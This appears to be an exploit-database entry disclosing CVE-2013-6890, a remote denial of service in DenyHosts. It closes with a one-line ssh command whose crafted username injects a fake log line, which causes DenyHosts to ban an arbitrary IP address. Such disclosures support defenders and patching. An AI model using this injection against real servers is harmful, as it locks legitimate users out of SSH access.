DenyHosts - 'regex.py' Remote Denial of Service

Author: Helmut Grohne
type: dos
platform: linux
port: 
date_added: 2013-12-19 
date_updated: 2015-12-08 
verified: 1 
codes: CVE-2013-6890;OSVDB-101354 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/64478/info

DenyHosts is prone to a remote denial-of-service vulnerability.

Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users.

ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21